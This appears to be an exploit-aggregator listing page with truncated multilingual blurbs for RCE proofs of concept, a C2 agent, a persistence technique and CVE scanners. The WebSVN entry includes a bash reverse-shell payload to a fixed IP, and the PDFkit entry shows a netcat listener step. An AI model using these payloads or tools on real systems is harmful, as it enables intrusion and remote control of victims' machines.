CVE-2022-24638

AS SEEN ON EXPLOITDB: https://www.exploit-db.com/exploits/51026 THIS VERSION IS FIXED TO PREVENT FALSE NEGATIVES CVE-2022-24637 Exploit for the Unauthenticated RCE in Open Web Analytics OWA 1.7.4. This work is based on https://devel0pment.de/?p=2494. DISCLAIMER: This script is made to audit the...

aws-suture

Суть root@kitploit: $ git clone [email protected]:pblittle/suture.git $ cd suture $ bundle install $ bundle exec ./bin/suture --help $ bundle exec ./bin/suture check Suture Suture — это инструмент для выполнения произвольных команд на ваших экземплярах AWS EC2. Вы можете запускать его как дл...

CVE-2021-32305-websvn-2.6.0

CVE-2021-3205-websvn-2.6.0 이것은 CVE-2021-3205의 익스플로잇으로, search.php 경로에서 명령어 주입이 가능한 웹 취약점입니다. 이 익스플로잇을 통해 명령어를 실행할 수 있습니다. 요구 사항 optparse, signal, requests 사용법 root@kitploit: ❯ python3 CVE-2021-3205.py --url http://10.0.2.168/websvn/ --payload "bash -c 'bash -i & /dev/tcp/10.0.2.133/443 0&1'" ... ...

ContextMenuHijack

ContextMenuHijack Эта оригинальная идея, вдохновившая меня, принадлежит @NinjaParanoid : ContextMenuHijack — это простая техника персистентности, использующая COM-хайджинг, основанный на поведении человека: когда вы щёлкаете правой кнопкой мыши по файлу или папке в Проводнике, чтобы открыть...

gopher47

gopher47 Сторонний Gopher Assassin для фреймворка Havoc это как видеоигра :D Что это такое? 🤔 Это сторонний агент для Havoc C2, написанный на Golang. В основном написан как учебный проект, но я уверен, что он всё равно полезен. К тому времени, как это выйдет, вы сможете прочитать больше о том, чт...

CVE-2020-27955

Git-lfs Remote Code Execution RCE exploit CVE-2020-27955 .bat / powershell version Vulnerable: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken etc. Discovered by Dawid Golunski https://legalhackers.com https://exploitbox.io Tested on Windows on: git, GitHub...

CVE-2021-43258

CVE-2021-43258 ChurchInfo 1.2.13-1.3.0 — эксплойт удаленного выполнения кода...

CVE-2024-4879-CVE-2024-5217-ServiceNow-RCE-Scanning

CVE-2024-4879-CVE-2024-5217-ServiceNow-RCE-Scanning Сканирование RCE в ServiceNow CVE-2024-4879 и CVE-2024-5217 с помощью Nuclei и Shodan Dork для их обнаружения. Информация об уязвимости https://www.assetnote.io/resources/research/chaining-three-bugs-to-access-all-your-servicenow-data...

CVE-2024-6782-PoC

CVE-2024-6782-PoC Usage: python3 callibre.py --target http://target:8080/ Unauthenticated remote code execution via Calibre’s content server in Calibre = 7.14.0...

CVE-2023-41425

CVE-2023-41425 CVE-2023-41425 XSS to RCE, Wonder CMS 3.2.0 = 3.4.2 Usage root@kitploit: ➜ CVE-2023-41425 python3 exploit.py Enter target URL RHOST, e.g., http://example.com/loginURL: http://redacted.com/loginURL Enter your local host IP LHOST, e.g., 10.10.14.xxx: xx.xx.xx.xx Enter your local web...

CVE-2024-3094-check

Инструменты проверки уязвимости CVE-2024-3094 Эта уязвимость позволяет злоумышленнику войти на сервер и выполнить произвольный код без прохождения SSH-аутентификации. Подробности: https://www.openwall.com/lists/oss-security/2024/03/29/4 использовать root@kitploit: curl -fsSL...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 Detail Description The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized. PoC Start a HTTP server root@kitploit: 1- python3 -m http.server 80 Start a netcat listener root@kitploit: 2- nc -lnvp 'Target Port' Ma...

CVE-2022-23642

PoC for Sourcegraph Gitserver 3.37.0 RCE CVE-2022-23642 Sourcegraph prior to 3.37.0 has a remote code execution vulnerability on its gitserver service. This is due to lack of restriction on git config execution thus "core.sshCommand" can be passed on the HTTP arguments which can contain arbitrary...

CVE-2024-6387-Updated-x64bit

CVE-2024-6387-Updated-x64bit Приватный x64 RCE эксплойт Python для CVE-2024-6387 02.07.2024 от exploit.in Репозиторий предоставляет рабочий вариант эксплойта уязвимости CVE-2024-6387 с поддержкой активного shell в реальном времени, многопоточности, ввода целей из файла и цветного вывода. 🔥 CVSS:...

CVE-2026-78006-POC

CVE-2026-78006-POC CVE-2026-78006 の PoC The Events Calendar = 6.17.4 - 未認証の PHP オブジェクトインジェクションからリモートコード実行へ CONTACT 何か質問があれば telegram まで : @soldout0O 💙 プロジェクトを支援する 私の活動を評価していただけるなら、USDT TRC20: TQBA72kakjCZLnJt8fJYcD7dyQCEpzNtVN を通じてプロジェクトを支援することをご検討ください。 The Events Calendar — 未認証の PHP...

CVE-2018-7600

POC of CVE-2018-7600 Drupal RCE CVE-2018-7600 Не забудьте вставить свой адрес в скрипт! Описание: Уязвимость удалённого выполнения кода существует в нескольких подсистемах Drupal 7.x и 8.x. Это потенциально позволяет злоумышленникам использовать множество векторов атак на сайт Drupal, что может...

MultiExploit

Многосервисный сканер уязвимостей Поддерживаемые уязвимости и векторы атак Уязвимости Microsoft SQL Server CVE-2023-21173 : Удаленное выполнение кода в SQL Server 2022 Возможная эксплуатация: Слабые конфигурации аутентификации Неправильно настроенные серверные субъекты Злоупотребление xpcmdshell...

CVE-2025-25101

🚀 CVE-2025-25101 - Плагин Munk Sites для WordPress = 1.0.7 - CSRF для произвольной установки плагинов 📌 Обзор CVE-2025-25101 — это уязвимость Межсайтовой подделки запроса CSRF в плагине MetricThemes Munk Sites для WordPress версии ≤ 1.0.7. Эта уязвимость позволяет неаутентифицированному...

CVE-2026-93922 SiYuan through 3.8.4 Stored XSS via notebook names

SiYuan through 3.8.4 renders notebook names as raw HTML in the Daily Note picker dialog without escaping, allowing stored cross-site scripting in the Electron renderer. Attackers can create notebooks with HTML payloads in names that execute JavaScript with Node.js access when the picker opens,...

CVE-2026-93922 SiYuan through 3.8.4 Stored XSS via notebook names

SiYuan through 3.8.4 renders notebook names as raw HTML in the Daily Note picker dialog without escaping, allowing stored cross-site scripting in the Electron renderer. Attackers can create notebooks with HTML payloads in names that execute JavaScript with Node.js access when the picker opens,...